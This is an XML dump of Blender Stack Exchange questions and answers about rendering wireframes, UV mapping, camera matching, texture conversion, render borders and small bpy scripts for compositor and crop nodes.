  <row Id="14931" PostTypeId="2" ParentId="14927" CreationDate="2014-08-12T02:51:35.123" Score="2" Body="&lt;p&gt;There is a script by &lt;strong&gt;Atom&lt;/strong&gt; that uses Javascript to accomplish this. The full thread to download, and very clear instructions on how to use it are &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?232032-After-Effects-To-Blender-2-70a-Javascript-Python-Generator&amp;amp;highlight=afterfx&quot; rel=&quot;nofollow&quot;&gt;here in blenderartists.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-08-12T03:34:01.523" LastActivityDate="2014-08-12T03:34:01.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14932" PostTypeId="1" CreationDate="2014-08-12T03:04:29.360" Score="7" ViewCount="5415" Body="&lt;p&gt;I'm a psychology student (and 3D design noob) who's been tasked with designing items for a test of spatial ability like this example... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3uhtN.png&quot; alt=&quot;Sample spatial ability item&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been playing around with Blender, and I've gotten this far...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MShnU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the shapes I want are there, but I'm having trouble getting out rendered on white with black outlines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the World Horizon Color to white, which fixes the background, but the cube object renders solid. Any ideas on how to get it outlined like in the example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. That &quot;LS&quot; in the example is meant to be a window. Any suggestions on how to accomplish that would also be wonderful; I haven't even attempted it yet.&lt;/p&gt;&#xA;" OwnerUserId="5531" LastEditorUserId="5531" LastEditDate="2014-09-07T21:11:03.460" LastActivityDate="2015-01-01T02:05:22.960" Title="How to render an object as a transparent wireframe?" Tags="&lt;rendering&gt;&lt;wireframe&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14933" PostTypeId="2" ParentId="14932" CreationDate="2014-08-12T03:24:48.253" Score="4" Body="&lt;p&gt;One way you could do this is by using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;freestyle&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a transparent material and assign it to your objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNjzV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable freestyle in &lt;em&gt;Render settings&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s0rPP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Render layers&lt;/em&gt;, set the line visibility to QI range and set the end to 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/buFCZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of the QI range like a sort of depth index; faces directly visible to the camera are 0, faces behind those faces are 1, faces behind those faces are 2, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By only rendering lines on faces between 0 and 1 (inclusive), you can get a result like in your example image.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Or you could use wireframe materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mo2ZF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/2785/599&quot;&gt;this question&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-08-12T03:31:43.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14935" PostTypeId="1" CreationDate="2014-08-12T05:25:12.680" Score="3" ViewCount="1486" Body="&lt;p&gt;I have been using Lynda.com to learn character modeling. However, I have been unable to find a comprehensive guide to UV mapping. Because of this, I've had to figure it out using various bits of different tutorials online, and I've had some good success. However, I recently came across a problem that has halted my progress completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When applying textures using UV mapping, these strange gaps started appearing only on the hands of the character, everywhere else looks fine. If anyone could tell me what's going on, I would greatly appreciate it.&lt;br&gt;&#xA;&lt;sub&gt;edit mode&lt;/sub&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BBOqo.png&quot; alt=&quot;edit mode&quot;&gt;&lt;br&gt;&#xA;&lt;sub&gt;object mode&lt;/sub&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LDOd3.jpg&quot; alt=&quot;object mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5580" LastEditorUserId="2217" LastEditDate="2014-08-12T14:01:59.883" LastActivityDate="2019-05-23T09:41:45.397" Title="Gaps Appearing Within UV Map" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14936" PostTypeId="2" ParentId="14909" CreationDate="2014-08-12T06:10:38.827" Score="2" Body="&lt;p&gt;Using blender internal, for the material of the objects you want to disappear, turn on transparency and choose mask with an alpha of 0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJ9GQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transparent objects will still show in reflections but not be seen in the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HzIMJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-12T06:10:38.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14937" PostTypeId="2" ParentId="14935" CreationDate="2014-08-12T06:48:23.153" Score="1" Body="&lt;p&gt;It looks to me that certain marked edges get altered with your Multires/Catmull-Clark modifier: the &quot;new&quot; faces created by that seem to be misplaced to the white areas of the texture that you are using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest that first you check for the split edges. I might be terribly wrong, but it looks like you have them on your sleeve... and body too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very easy to miss and set *Mark Sharp&quot; instead of &lt;em&gt;Mark Seam&lt;/em&gt;, for instance, and then as you set multires or subsurf modifiers, edges marked sharp are getting split, which, among other things, means that integrity of the UV is violated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also kindly check doubles (&lt;em&gt;Edit Mode &gt;&lt;/em&gt; &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Remove Doubles&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest that after you have done it you could try applying your multires modifier for testing purposes and check the exact position of UV for the &quot;white&quot; faces on the hands. Blender now allows both selecting faces in the 3D Viewport and seeing them on your UV in the UV/Image editor, but vice versa too. There is a button &quot;Keep UV and edit mode mesh selection in sync&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this would help.&lt;/p&gt;&#xA;" OwnerUserId="5562" LastEditorUserId="1363" LastEditDate="2014-08-12T07:00:07.293" LastActivityDate="2014-08-12T07:00:07.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14938" PostTypeId="2" ParentId="14911" CreationDate="2014-08-12T06:58:57.797" Score="4" Body="&lt;p&gt;&lt;code&gt;bpy.context.space_data&lt;/code&gt; will give you the current text editor when you click run script, where you can access the text block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(bpy.context.space_data.text.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For an unsaved text block this is empty. For a file dropped onto the text editor or opened by using the &lt;code&gt;Text-&amp;gt;Open Text Block&lt;/code&gt; menu item you will still get an empty filepath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender doesn't appear to fill in the filepath property of a text block unless you save the text block to disk, meaning you need to open the text block and then save as to get a filepath. Once it has a filepath you can save, close and re-open the blend file and it will keep the filepath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__file__&lt;/code&gt; will give you the path to the text block inside the blend file. That is the path of the blend file with the text block name added as if the blend file was a directory. This applies even if the file is saved to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your own use you can setup the blend file with the script. If you want to share this then you probably want to make it an addon with &lt;code&gt;AddonPreferences&lt;/code&gt; to save the path to the utility. On registration you might search a few possible paths to get the initial setting and have the user set it as needed, or you can tarball the script and utility so that it is next to the addon script when the user installs it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-12T06:58:57.797" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14939" PostTypeId="2" ParentId="14932" CreationDate="2014-08-12T07:32:09.860" Score="4" Body="&lt;p&gt;Using blender internal you can set the material type to wire and it will only show the wireframe of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5SGTy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles there is a wireframe node that you can input into a mix node to define transparent areas but it will show a triangulated wireframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An option that is available in both renders is the wireframe modifier. This modifier was added in 2.70 and gives you control over how thick the wireframe will appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EeTOf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-12T07:32:09.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14940" PostTypeId="2" ParentId="14910" CreationDate="2014-08-12T08:46:16.480" Score="7" Body="&lt;p&gt;Here is my result. Thank you a lot @Codemax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yEFVM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEFVM.png&quot; alt=&quot;output node and code in blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;nodes = scene.node_tree.nodes&#xA;&#xA;output_file = nodes.new(&quot;CompositorNodeOutputFile&quot;)&#xA;# output_file.base_path = &quot;//maFolder/&quot;&#xA;&#xA;output_file.file_slots.remove(output_file.inputs[0])&#xA;for i in range(0, 20):&#xA;    idx = str(i + 1)&#xA;    if i &amp;lt; 9:&#xA;        idx = &quot;0&quot; + idx&#xA;    output_file.file_slots.new(&quot;set_&quot; + idx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastEditorUserId="2217" LastEditDate="2015-12-14T00:35:49.740" LastActivityDate="2015-12-14T00:35:49.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14941" PostTypeId="1" CreationDate="2014-08-12T09:15:41.973" Score="3" ViewCount="1888" Body="&lt;p&gt;I need to get Pixel coordinates of a rendered image.&lt;br&gt;&#xA;Here is explanation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/smU6W.png&quot; alt=&quot;Image Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Image Editor, I can see the coordinates in the bottom left corner by right clicking in the image. Is it possible to get the coordinates with Python? I need them to setup many crop nodes.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="2217" LastEditDate="2014-08-12T13:58:36.687" LastActivityDate="2016-05-11T06:07:00.113" Title="Pixel Coordinates of Rendered Image with Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nodes&gt;&lt;image&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14944" PostTypeId="2" ParentId="14941" CreationDate="2014-08-12T11:01:58.417" Score="4" Body="&lt;p&gt;It seems I found the way how to get pixel coordinates through Rendering Crop. Select a Crop Node and use the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uBGjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;nodes = scene.node_tree.nodes&#xA;cropNode = nodes.active&#xA;&#xA;if cropNode.type == 'CROP':&#xA;    nodes.active.min_x = scene.render.border_min_x * scene.render.resolution_x&#xA;    nodes.active.max_x = scene.render.border_max_x * scene.render.resolution_x&#xA;    nodes.active.min_y = scene.render.border_min_y * scene.render.resolution_y&#xA;    nodes.active.max_y = scene.render.border_max_y * scene.render.resolution_y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastEditorUserId="911" LastEditDate="2014-08-12T20:52:27.313" LastActivityDate="2014-08-12T20:52:27.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14945" PostTypeId="1" AcceptedAnswerId="14946" CreationDate="2014-08-12T12:18:59.937" Score="2" ViewCount="244" Body="&lt;p&gt;the built in filters has some settings, like motion blur has amount. but it' cant be assign with logic bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now a custom filter, can it read a value somehow (python code wont work? or would it... like own[&quot;blur_amount&quot;] ? )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the shaders is C code it looks like, and doesn't need to have .py extension AFAIK. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyways, this would be so awesome, also for built in filters. so we can enable/disable and maybe script with python the transition.&lt;/p&gt;&#xA;" OwnerUserId="755" LastEditorUserId="2217" LastEditDate="2014-08-12T13:53:03.660" LastActivityDate="2014-08-12T13:53:03.660" Title="Can a custom filter read property value and use it?" Tags="&lt;game-engine&gt;&lt;properties&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14946" PostTypeId="2" ParentId="14945" CreationDate="2014-08-12T13:49:41.223" Score="2" Body="&lt;p&gt;Yes you can have a game property in a GLSL shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://solarlune-gameup.blogspot.com/2011/03/opengl-2d-screen-filters-in-bge-part-3.html&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a good read on making exactly what you want, a blur filter with a controlled blur amount from a game property (plus blend file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the script linked above, you can just use the property name &lt;em&gt;blur_amount&lt;/em&gt; in the GLSL script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Declare the var like this, then use &lt;em&gt;blur_amount&lt;/em&gt; however you want to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uniform float blur_amount;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-08-12T13:49:41.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14948" PostTypeId="1" CreationDate="2014-08-12T15:17:10.927" Score="2" ViewCount="2414" Body="&lt;p&gt;During execution of a python script, I'm trying to import a .blend file. It's currently not an option to load the file when Blender boots, although ideally we would get the same result either way. I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.open_mainfile(filepath=path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this destroys bpy.context ({.window, .screen} = None), but only when blender is started without &quot;--background&quot;. This is the relevant Blender source code (blender/windowmanager/intern/wm_files.c):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!G.background) {&#xA;    /* in background mode this makes it hard to load&#xA;    * a blend file and do anything since the screen&#xA;    * won't be set to a valid value again */&#xA;    CTX_wm_window_set(C, NULL); /* exits queues */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This causes &quot;invalid context&quot; problems for different operators (e.g., bpy.ops.transform.*) called afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great to be able to open .blend files without the WM/GUI interference altogether. However, since there doesn't seem to be a WM-less Python call for now, restoring the original context (or at least a context equivalent to the one when Blender starts up) would also work. Bonus points for solutions without WM hacks (e.g. simulating clicks) ;-)&lt;/p&gt;&#xA;" OwnerUserId="5586" LastEditorUserId="241" LastEditDate="2014-08-12T15:37:20.967" LastActivityDate="2014-09-26T10:30:32.887" Title="Opening a blender file during python script execution without changing context" Tags="&lt;python&gt;&lt;scripting&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14950" PostTypeId="1" AcceptedAnswerId="14952" CreationDate="2014-08-12T15:40:48.600" Score="7" ViewCount="6608" Body="&lt;p&gt;Well, I want to imitate the same camera settings in blender as in photograph that I have taken, in order to edit rendered stills into the same picture I have captured. However I'm having trouble setting up the camera in blender to simulate my camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone can tell me how to set up the camera?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The picture was taken with a large format camera on a 4x5 film format ( that is 4 inches by 5 inches) with a 121mm lens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I set up a blender camera to simulate this perspective? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;farge format film cameras are not included in the camera presets, how can I set them up in blender?&lt;/p&gt;&#xA;" OwnerUserId="5291" LastEditorUserId="12" LastEditDate="2014-08-12T15:47:02.900" LastActivityDate="2014-08-12T17:20:19.927" Title="camera settings to imitate my camera" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14952" PostTypeId="2" ParentId="14950" CreationDate="2014-08-12T15:55:42.323" Score="10" Body="&lt;p&gt;You can match a camera in blender.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select your camera&lt;/li&gt;&#xA;&lt;li&gt;Go into the camera properties.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dx4KT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the Focal length of your camera to 121.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bxpMX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the Sensor Fit to Horizontal&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EeK2S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the width value to 127 (which is 5 inches in millimeters).&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will need to make your image resolution fit a 4:5 aspect ratio.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter the camera properties&lt;/li&gt;&#xA;&lt;li&gt;Set the width and height accordingly. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To make a new &lt;strong&gt;Preset&lt;/strong&gt; click on the plus sign next to cemera presets&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MfRG0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a name to it (Click on save focal length if you want to include the lens in the preset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z3E7z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once created the preset will be available for future projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wdL1O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorDisplayName="user1853" LastEditDate="2014-08-12T17:20:19.927" LastActivityDate="2014-08-12T17:20:19.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14953" PostTypeId="1" CreationDate="2014-08-12T16:06:25.707" Score="4" ViewCount="1959" Body="&lt;p&gt;I used Blender to export a 3D model in X3D format. However, textures are automatically exported in TGA format. In order to print multicolor models in Shapeways (&lt;a href=&quot;https://www.shapeways.com&quot; rel=&quot;nofollow&quot;&gt;https://www.shapeways.com&lt;/a&gt;), the requirement is to provide textures in JPG or GIF format. Is there any way to do this in Blender or any other tool?&lt;/p&gt;&#xA;" OwnerUserId="5555" LastEditorUserId="55" LastEditDate="2014-08-12T18:25:12.910" LastActivityDate="2014-12-29T13:11:57.130" Title="How to convert image textures to different formats?" Tags="&lt;image&gt;&lt;file-format&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14954" PostTypeId="1" AcceptedAnswerId="14958" CreationDate="2014-08-12T16:16:20.067" Score="10" ViewCount="724" Body="&lt;p&gt;Is it possible to specify multiple disjunct render borders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/prXg6.png&quot; alt=&quot;trivial example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this is trivial when rendering but it would be very useful when previewing on a less-powerful computer.  I have two complex meshes on separate sides of the scene and would like to preview them both at once.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="241" LastEditDate="2020-03-13T19:34:31.113" LastActivityDate="2020-03-13T19:34:31.113" Title="Multiple Render Borders in Cycles Preview" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;render-border&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14955" PostTypeId="2" ParentId="14953" CreationDate="2014-08-12T16:43:56.640" Score="3" Body="&lt;p&gt;In the &lt;strong&gt;UV/image Editor&lt;/strong&gt; select the texture or image you want to convert and press &lt;kbd&gt;F3&lt;/kbd&gt; (or Image-&gt;Save As),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DWkMs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select which format you want to save as.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you don't see these options on the left side of the screen press &lt;kbd&gt;T&lt;/kbd&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfu6V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE: &lt;a href=&quot;https://blender.stackexchange.com/questions/1934/can-blender-render-animated-gifs&quot;&gt;Gif files are not supported in blender.&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Formats&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-08-12T19:21:54.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14956" PostTypeId="2" ParentId="14932" CreationDate="2014-08-12T16:46:52.507" Score="0" Body="&lt;p&gt;Another option would be to make your item from modeled wires, and use that, instead of a texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to do this is to first create a &quot;wire&quot; from which to construct the wireframes. In the illustration below, I created a cylinder with 8 vertices, and unclosed ends (numbered &quot;1&quot; in the screentshot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cOKC.jpg&quot; alt=&quot;blenderwireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A material (black in this case) was assigned to the &quot;wire&quot;, and it was duplicated, rotated, and the length of the cylinder was changed the length to create a 3D representation of the original image. Analyzing the blend file from which the screenshot was created, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/awgnd3acubwou8v/blenderwireframeanswer.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/awgnd3acubwou8v/blenderwireframeanswer.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will be seen that the &quot;wireframe&quot; will show up in a render, because the wires are meshes, and not blender edges.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-09-14T05:53:15.193" LastActivityDate="2014-09-14T05:53:15.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14958" PostTypeId="2" ParentId="14954" CreationDate="2014-08-12T17:33:49.410" Score="10" Body="&lt;p&gt;Unfortunately this is not possible currently, you can only have one renderborder per 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can have multiple 3D views, each with it's own renderborder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/acuQL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can only have one camera renderborder which is global for all cameras, so this is only possible in viewport render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-12T17:33:49.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14959" PostTypeId="2" ParentId="14925" CreationDate="2014-08-12T17:49:03.397" Score="6" Body="&lt;p&gt;It seems the Z always gets only one sample, so it's always noisy around defocused objects regardless of the number of scene samples. However using the mist pass (which was added since that tutorial was made) instead of the Z gives a better result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hc01v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To define the distance/thickness of the mist, enable the mist display in the camera settings so that you can see a visualization in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/atQ31.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then adjust the start and depth of the mist in world settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYIIt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-12T18:05:10.273" LastActivityDate="2014-08-12T18:05:10.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14960" PostTypeId="1" CreationDate="2014-08-12T20:25:43.420" Score="1" ViewCount="1689" Body="&lt;p&gt;I'm using cell fracture to cut a model into a lot of objects and need to uv map the insides of the faces correctly onto the same UV map as the outside faces.&lt;br&gt;&#xA;By using a UV project modifier for the inside faces, the inside faces are unwrapped, but in a separate UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to export it to unity3d, which only uses 1 uv map, so I need to copy the UV coordinates in the inside map to the outside map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some ways that would get me close, but I need to do some operations by hand for each object, which takes too much time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could join the all the objects, but then I would need to separate each piece one by one, as cell fracture also splits edges, meaning I cannot use &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; by loose parts&lt;/em&gt; to split all the pieces back into individual objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could remove double vertices and make the inside faces and outside faces for each piece connected, I would be able to separate by loose parts after I joined and unwrapped, so is there a way to do this for multiple objects all at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in blender to repeat a certain action (e.g. remove doubles) on multiple objects?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastEditorUserId="599" LastEditDate="2014-08-12T21:42:26.180" LastActivityDate="2014-09-12T22:20:53.697" Title="Remove double vertices for multiple objects at once" Tags="&lt;uv&gt;&lt;workflow&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
